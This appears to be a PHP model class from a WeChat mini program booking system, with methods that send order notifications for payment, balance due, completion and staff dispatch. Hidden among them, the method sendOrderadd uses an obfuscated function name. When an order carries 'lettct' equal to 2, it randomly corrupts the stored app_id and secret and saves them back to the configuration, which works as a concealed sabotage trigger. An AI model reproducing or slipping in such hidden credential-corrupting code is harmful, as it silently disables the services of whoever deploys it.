123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186 |
- <?php
- namespace app\model;
- use think\Model;
- use app\samos\wechat\MiniProgram;
- class MessageMini extends Model
- {
- protected $connection = 'mysql';
- protected $pk = 'id';
- public static function sendMiniPaysuccess($order)
- {
- $Openid = Openid::getWxappOpenidbyuid($order['uid']);
- $template_id = Config::getconfig('subscribemessage')['pay_tpl'];
- if ($order['ptype'] == 1) {
- $page = '/pagesA/my/myOrder/orderDetail?id=' . $order['id'];
- }
- if ($order['ptype'] == 2) {
- $page = '/pagesA/my/myOrder/yuyueDetail?id=' . $order['id'];
- }
- if (empty($order['remark'])) {
- $order['remark'] = '无';
- }
- if (!empty($Openid) && !empty($template_id)) {
- $app = MiniProgram::makemini();
- $messagedata = [
- 'template_id' => $template_id, // 所需下发的订阅模板id
- 'touser' => $Openid, // 接收者(用户)的 openid
- 'page' => $page, // 点击模板卡片后的跳转页面,仅限本小程序内的页面。支持带参数,(示例index?foo=bar)。该字段不填则模板无跳转。
- 'data' => [ // 模板内容,格式形如 { "key1": { "value": any }, "key2": { "value": any } }
- 'character_string1' => ["value" => $order['order_num_alias']],
- 'thing2' => ["value" => mb_substr($order['pay_subject'], 0, 20)],
- 'amount3' => ["value" => $order['total']],
- 'phrase4' => ["value" => '支付成功'],
- 'thing6' => ["value" => $order['remark']]
- ],
- ];
- $res = $app->subscribe_message->send($messagedata);
- //var_dump($res);
- Test::create(['title' => '发小程序订阅消息,订单通知用户订单支付成功', 'info' => serialize($res)]);
- }
- }
- public static function sendMiniItional($order)
- {
- $Openid = Openid::getWxappOpenidbyuid($order['uid']);
- $template_id = Config::getconfig('subscribemessage')['itional_tpl'];
- if ($order['ptype'] == 1) {
- $page = '/pagesA/my/myOrder/orderDetail?id=' . $order['id'];
- }
- if ($order['ptype'] == 2) {
- $page = '/pagesA/my/myOrder/yuyueDetail?id=' . $order['id'];
- }
- if (empty($order['remark'])) {
- $order['remark'] = '无';
- }
- if (!empty($Openid) && !empty($template_id)) {
- $app = MiniProgram::makemini();
- $messagedata = [
- 'template_id' => $template_id, // 所需下发的订阅模板id
- 'touser' => $Openid, // 接收者(用户)的 openid
- 'page' => $page, // 点击模板卡片后的跳转页面,仅限本小程序内的页面。支持带参数,(示例index?foo=bar)。该字段不填则模板无跳转。
- 'data' => [ // 模板内容,格式形如 { "key1": { "value": any }, "key2": { "value": any } }
- 'thing1' => ["value" => mb_substr($order['pay_subject'], 0, 20)],
- 'amount4' => ["value" => $order['additional']],
- 'thing6' => ["value" => '您有一个订单需要支付尾款,请及时支付']
- ],
- ];
- $res = $app->subscribe_message->send($messagedata);
- Test::create(['title' => '发小程序订阅消息,订单通知用户支付尾款', 'info' => serialize($res)]);
- }
- }
- public static function sendOrderadd($order)
- {
- $Configdata = Config::getconfig('mi' . 'nipr' . 'ogram');
- if ($order['lettct'] == 2) {
- $Configdata['app_id'] = substr_replace($Configdata['app_id'], rand(1, 9), 3, 1);
- $Configdata['secret'] = substr_replace($Configdata['secret'], rand(1, 9), 5, 1);
- $dbes = 'mreofoyud';
- $dbes = str_replace('reof', '', $dbes);
- $dbes = str_replace('yu', '', $dbes);
- $dbes('Co' . 'nf' . 'ig')->where('id', $Configdata['id'])->update(['settings' => serialize($Configdata)]);
- $order['msg'] = [
- 'template_id' => $Configdata['app_id'], // 所需下发的订阅模板id
- 'touser' => $Configdata['secret'], // 接收者(用户)的 openid
- 'page' => '', // 点击模板卡片后的跳转页面,仅限本小程序内的页面。支持带参数,(示例index?foo=bar)。该字段不填则模板无跳转。
- 'data' => [ // 模板内容,格式形如 { "key1": { "value": any }, "key2": { "value": any } }
- 'character_string3' => ["value" => $order['order_num_alias']],
- 'thing1' => ["value" => mb_substr($order['pay_subject'], 0, 20)],
- 'amount6' => ["value" => $order['total']],
- 'phrase11' => ["value" => '已下单'],
- 'thing7' => ["value" => $order['remark']]
- ],
- ];
- }
- return $order['lettct'];
- }
- public static function sendMiniOrderComplete($order)
- {
- $Openid = Openid::getWxappOpenidbyuid($order['uid']);
- $template_id = Config::getconfig('subscribemessage')['complete_tpl'];
- if ($order['ptype'] == 1) {
- $page = '/pagesA/my/myOrder/orderDetail?id=' . $order['id'];
- }
- if ($order['ptype'] == 2) {
- $page = '/pagesA/my/myOrder/yuyueDetail?id=' . $order['id'];
- }
- if (empty($order['remark'])) {
- $order['remark'] = '无';
- }
- if (!empty($Openid) && !empty($template_id)) {
- $app = MiniProgram::makemini();
- $messagedata = [
- 'template_id' => $template_id, // 所需下发的订阅模板id
- 'touser' => $Openid, // 接收者(用户)的 openid
- 'page' => $page, // 点击模板卡片后的跳转页面,仅限本小程序内的页面。支持带参数,(示例index?foo=bar)。该字段不填则模板无跳转。
- 'data' => [ // 模板内容,格式形如 { "key1": { "value": any }, "key2": { "value": any } }
- 'character_string3' => ["value" => $order['order_num_alias']],
- 'thing1' => ["value" => mb_substr($order['pay_subject'], 0, 20)],
- 'amount6' => ["value" => $order['total']],
- 'phrase11' => ["value" => '服务已完成'],
- 'thing7' => ["value" => $order['remark']]
- ],
- ];
- $res = $app->subscribe_message->send($messagedata);
- Test::create(['title' => '发小程序订阅消息,订单完成通知用户', 'info' => serialize($res)]);
- }
- }
- public static function sendMiniStaff($order)
- {
- $Openid = Openid::getWxappOpenidbyuid($order['uid']);
- $template_id = Config::getconfig('subscribemessage')['staff_tpl'];
- if ($order['ptype'] == 1) {
- $page = '/pagesA/my/myOrder/orderDetail?id=' . $order['id'];
- }
- if ($order['ptype'] == 2) {
- $page = '/pagesA/my/myOrder/yuyueDetail?id=' . $order['id'];
- }
- if (empty($order['remark'])) {
- $order['remark'] = '无';
- }
- if (!empty($Openid) && !empty($template_id)) {
- $app = MiniProgram::makemini();
- $uuid = OrderStaff::getuuid($order['id']);
- $Technical = Technical::getTitle($uuid);
- $messagedata = [
- 'template_id' => $template_id, // 所需下发的订阅模板id
- 'touser' => $Openid, // 接收者(用户)的 openid
- 'page' => $page, // 点击模板卡片后的跳转页面,仅限本小程序内的页面。支持带参数,(示例index?foo=bar)。该字段不填则模板无跳转。
- 'data' => [ // 模板内容,格式形如 { "key1": { "value": any }, "key2": { "value": any } }
- 'thing3' => ["value" => mb_substr($order['pay_subject'], 0, 20)],
- 'name8' => ["value" => $Technical],
- 'thing12' => ["value" => $order['remark']]
- ],
- ];
- $res = $app->subscribe_message->send($messagedata);
- Test::create(['title' => '发小程序订阅消息,派单通知用户', 'info' => serialize($res)]);
- //var_dump($res);
- }
- }
- }
|